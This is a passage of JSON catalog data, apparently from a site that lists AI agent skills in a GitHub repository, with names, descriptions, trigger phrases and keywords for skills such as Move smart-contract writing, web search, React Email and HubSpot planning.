Bytes":87,"sourceHtmlUrl":88},"scripts\u002Fagent.py","SCRIPT","脚本",7993,"https:\u002F\u002Fgithub.com\u002Fluokai0\u002Fai-agent-skills-by-luo-kai\u002Fblob\u002Fmain\u002Fai-agent-skills\u002F21-external-registries\u002F08-pinkpixel-collection\u002Fexploiting-template-injection-vulnerabilities\u002Fscripts\u002Fagent.py",[90,118,135,159,186,210],{"skillNo":91,"name":92,"nameZh":6,"description":93,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":94,"licenseFileUrl":6,"sourceHtmlUrl":95,"categories":96,"keywords":97,"publishedAt":39},"01M6F2SKTE208174C7S7JJCZC7","write-contracts","Generates secure Aptos Move V2 smart contracts with Object model, Digital Asset integration, security patterns, and storage type guidance. Includes comprehensive storage decision framework for optimal data structure selection. Triggers on: 'write contract', 'create NFT collection', 'build marketplace', 'implement minting', 'generate Move module', 'create token contract', 'build DAO', 'implement staking'. Ask storage questions when: 'store', 'track', 'registry', 'mapping', 'list', 'collection'.","MIT","https:\u002F\u002Fgithub.com\u002Fluokai0\u002Fai-agent-skills-by-luo-kai\u002Fblob\u002Fmain\u002Fai-agent-skills\u002F22-clawhub-skills\u002Fwrite-contracts\u002FSKILL.md",[],[98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117],"write","contracts","write contracts","storage","secure","create","generate","collection","model","decision","ask","smart-contracts","selection","objects","structure","nft","token","aptos","critical","move",{"skillNo":119,"name":120,"nameZh":6,"description":121,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":94,"licenseFileUrl":6,"sourceHtmlUrl":122,"categories":123,"keywords":124,"publishedAt":39},"01M6F2RFXJ6T9MKW0A7N7GM45B","web-search","通用网络搜索技能，支持多引擎搜索（百度、必应、DuckDuckGo），无需API密钥即可获取实时信息","https:\u002F\u002Fgithub.com\u002Fluokai0\u002Fai-agent-skills-by-luo-kai\u002Fblob\u002Fmain\u002Fai-agent-skills\u002F22-clawhub-skills\u002Fweb-search-ex-skill\u002FSKILL.md",[],[125,126,127,128,129,130,131,132,133,134],"web","search","web search","搜索","baidu","bing","duckduckgo","百度","多引擎","internet",{"skillNo":136,"name":137,"nameZh":6,"description":138,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":94,"licenseFileUrl":6,"sourceHtmlUrl":139,"categories":140,"keywords":141,"publishedAt":39},"01M6F2K968G1FZEZFPW2E6B222","solo-build","Execute implementation plan tasks with TDD workflow, auto-commit, and phase gates. Use when user says \"build it\", \"start building\", \"execute plan\", \"implement tasks\", \"ship it\", or references a track ID. Do NOT use for planning (use \u002Fplan) or scaffolding (use \u002Fscaffold).","https:\u002F\u002Fgithub.com\u002Fluokai0\u002Fai-agent-skills-by-luo-kai\u002Fblob\u002Fmain\u002Fai-agent-skills\u002F22-clawhub-skills\u002Fsolo-build\u002FSKILL.md",[],[142,143,144,145,146,147,148,36,126,149,150,151,98,152,153,154,155,156,157,158],"build","solo","solo build","MCP","workflow","commit","tasks","Bash","plan","read","auto","references","context7","query","scaffolding","ship it","project",{"skillNo":160,"name":161,"nameZh":6,"description":162,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":94,"licenseFileUrl":6,"sourceHtmlUrl":163,"categories":164,"keywords":165,"publishedAt":39},"01M6F2GKN39SGHSPWYB3662YC8","react-email","Use when building HTML email templates with React components, adding a visual email editor to an application using the React Email visual editor, rendering emails to HTML, or sending emails with Resend. Covers welcome emails, password resets, notifications, order confirmations, newsletters, transactional emails, and the embeddable email editor component.","https:\u002F\u002Fgithub.com\u002Fluokai0\u002Fai-agent-skills-by-luo-kai\u002Fblob\u002Fmain\u002Fai-agent-skills\u002F22-clawhub-skills\u002Freact-email-skills\u002FSKILL.md",[],[166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185],"react","email","react email","github","editor","components","react components","component","welcome","https","notifications","password","node","use","html","resend","visual","emails","rendering","with",{"skillNo":187,"name":188,"nameZh":6,"description":189,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":94,"licenseFileUrl":6,"sourceHtmlUrl":190,"categories":191,"keywords":192,"publishedAt":39},"01M6F2FBVGVDFSG8SSFJGXA40C","APITester Agent-Driven API Testing","Test API endpoints and document responses. Define tests in plain English, run them, get formatted results. Agent-driven Postman alternative.","https:\u002F\u002Fgithub.com\u002Fluokai0\u002Fai-agent-skills-by-luo-kai\u002Fblob\u002Fmain\u002Fai-agent-skills\u002F22-clawhub-skills\u002Fopenclaw-api-tester\u002FSKILL.md",[],[31,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209],"api","api testing","driven","APITester Agent Driven API Testing","test","run","postman","results","plain english","tester","endpoints","document","get","define","tests","english","api-tester",{"skillNo":211,"name":212,"nameZh":6,"description":213,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":94,"licenseFileUrl":6,"sourceHtmlUrl":214,"categories":215,"keywords":216,"publishedAt":39},"01M6F273Y3NGAPVJZ608BC0G9G","hubspot-implementation-plan","Generate a phased implementation plan from a HubSpot audit report. Creates prioritized, sequenced cleanup processes with effort estimates, dependencies, and automation feasibility. Use after running \u002Fhubspot-audit.","https:\u002F\u002Fgithub.com\u002Fluokai0\u002Fai-agent-skills-by-luo-kai\u002Fblob\u002Fmain\u002Fai-agent-skills\u002F22-clawhub-skills\u002Fhubspot-implementation-plan\u002FSKILL.md",[],[150,217,218,219,220,221,222,104,223,224,225,226,227,179,228,229,185,230],"implementation","hubspot","hubspot implementation plan","automation","feasibility","cleanup","planning","report","audit","audit report","phased implementation","dependencies","processes","hubspot audit"]